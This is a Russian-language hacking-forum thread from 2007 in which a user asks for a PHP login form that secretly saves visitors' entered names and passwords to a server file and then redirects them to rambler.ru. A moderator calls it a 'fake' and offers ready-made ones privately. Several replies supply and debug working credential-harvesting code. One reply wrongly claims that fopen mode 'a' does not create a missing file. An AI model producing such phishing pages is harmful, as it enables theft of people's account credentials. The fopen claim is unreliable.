ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript > ПО для Web разработчика
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Форма на Php
  #1  
Старый 05.11.2007, 09:12
Аватар для Other
Other
Познающий
Регистрация: 14.09.2007
Сообщений: 42
Провел на форуме:
205732

Репутация: 6
По умолчанию Форма на Php

Помогите плззз!
Знаю что для, людей которые хорошо знают php дело 2-х минут.
В общем надо форму аутентификации с двумя или тремя полями,
Например имя:
Пароль:
Чо нить ещё:
Потом кнопка после нажатия, на которую данные из полей сохранялись в фаил на сревере, и ещё переходил по ссылке, например на главную страницу rambler.
Вроде просто, но блин времени мало, что бы самому разбираться.

Выложите плззз готовый код.
И какой бесплатный хост под это дело вы посоветуете, чтоб всё пахало, и рекламу можно было сбить?
 
Ответить с цитированием

  #2  
Старый 05.11.2007, 12:42
Аватар для .::Gh0st::.
.::Gh0st::.
Гарант Форума
Регистрация: 22.01.2005
Сообщений: 267
Провел на форуме:
1982081

Репутация: 1067
Отправить сообщение для .::Gh0st::. с помощью ICQ
Post

PHP код:
<form action="<? echo $_SERVER["PHP_SELF"];?>" method="post">
    1: <input type="text" name="1"/><br/>
    2: <input type="text" name="2"/><br/>
    3: <input type="text" name="3"/><br/>
    <input type="submit" name="submit" value="ок"/>
</form>

<?
if (isset($_POST))
{
    
$string "$_POST[1]\r\n$_POST[2]\r\n$_POST[3]\r\n----------";
    
$handle fopen("log.txt""a");
    
fputs($handle$string);
    
fclose($handle);
    
header("Location: http://rambler.ru/");    
}
?>
 
Ответить с цитированием

  #3  
Старый 05.11.2007, 13:04
Аватар для Kusto
Kusto
Moderator - Level 7
Регистрация: 04.02.2007
Сообщений: 554
Провел на форуме:
7518056

Репутация: 1089


Отправить сообщение для Kusto с помощью ICQ
По умолчанию

если фейк делаеш- не изобретай велосипед))) они уже все есть))) здесь выкладывать не буду, если нужен в П М
 
Ответить с цитированием

  #4  
Старый 05.11.2007, 13:08
Аватар для halkfild
halkfild
Leaders of Antichat - Level 4
Регистрация: 11.11.2005
Сообщений: 391
Провел на форуме:
7084941

Репутация: 2277
По умолчанию

все правильно только надо поменять местами.. так редиректа не будет

Цитата:
Помните, что header() обязана вызываться до отправки любого вывода: нормальными ли тэгами HTML, пустыми строками в файле, или из PHP.
а так будет
PHP код:
<? 
if (isset($_POST)) 

    
$string "$_POST[1]\r\n$_POST[2]\r\n$_POST[3]\r\n----------"
    
$handle fopen("log.txt""a"); 
    
fputs($handle$string); 
    
fclose($handle); 
    
header("Location: http://rambler.ru/");     

?>
 <form action="<? echo $_SERVER["PHP_SELF"];?>" method="post"> 
    1: <input type="text" name="1"/><br/> 
    2: <input type="text" name="2"/><br/> 
    3: <input type="text" name="3"/><br/> 
    <input type="submit" name="submit" value="ок"/> 
</form>
 
Ответить с цитированием

  #5  
Старый 05.11.2007, 13:09
Аватар для NOmeR1
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме:
6023777

Репутация: 2642


Отправить сообщение для NOmeR1 с помощью ICQ
По умолчанию

.::Gh0st::. привёл хороший пример, но небольшая поправка, у него не будет отправляться хеадер.
PHP код:
<?
if( !$_POST )
{
?>
<form method="post"> 
    1: <input type="text" name="1"/><br/> 
    2: <input type="text" name="2"/><br/> 
    3: <input type="text" name="3"/><br/> 
    <input type="submit" name="submit" value="ок"/> 
</form> 
<?
}
else

    
$string $_POST[1]."\n".$_POST[2]."\n".$_POST[3]."\n----------\n"
    
$handle fopen("log.txt""a"); 
    
fputs($handle$string); 
    
fclose($handle); 
    
header("Location: http://rambler.ru/");     

?>

Последний раз редактировалось NOmeR1; 05.11.2007 в 13:12..
 
Ответить с цитированием

  #6  
Старый 05.11.2007, 13:18
Аватар для Other
Other
Познающий
Регистрация: 14.09.2007
Сообщений: 42
Провел на форуме:
205732

Репутация: 6
По умолчанию

2Zapadlo 17
Да ты прав, скинь если можешь.
 
Ответить с цитированием

  #7  
Старый 05.11.2007, 13:20
Аватар для Other
Other
Познающий
Регистрация: 14.09.2007
Сообщений: 42
Провел на форуме:
205732

Репутация: 6
По умолчанию

$handle = fopen("log.txt", "a"); - log.txt сам фаил куда всё спишется а что значит "a" ???
 
Ответить с цитированием

  #8  
Старый 05.11.2007, 13:29
Аватар для blackybr
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


Отправить сообщение для blackybr с помощью ICQ Отправить сообщение для blackybr с помощью AIM Отправить сообщение для blackybr с помощью Yahoo
По умолчанию

'a' - если файла не существует создает.. аа так открывает на запись в конец файла
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
 
Ответить с цитированием

  #9  
Старый 05.11.2007, 13:29
Аватар для Dr.Z3r0
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

Цитата:
Сообщение от Other  
$handle = fopen("log.txt", "a"); - log.txt сам фаил куда всё спишется а что значит "a" ???
Это модификатор, он может иметь значения:
'r' - Открыть только для чтения;
'r+' - Открыть для чтения и записи;
'w' - Открыть только для записи;
'a' - Открыть только для записи в конец файла;
'a+' - Открыть для чтения и записи в конец файла;
__________________
Кто я?..
 
Ответить с цитированием

  #10  
Старый 05.11.2007, 13:34
Аватар для Dr.Z3r0
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

Цитата:
Сообщение от blackybr  
'a' - если файла не существует создает.. аа так открывает на запись в конец файла
не правда... ничиго он не создает с модификатором 'a', если файла нет, то вылезет ошибка, что типа файл не найден, файл создает 'w'...
__________________
Кто я?..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Обзор современных Web технологий baltazar Статьи 1 30.10.2007 02:29
На PHP, как на "Новые ворота"... Mertvii-Listopad Чужие Статьи 7 18.09.2006 12:42
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ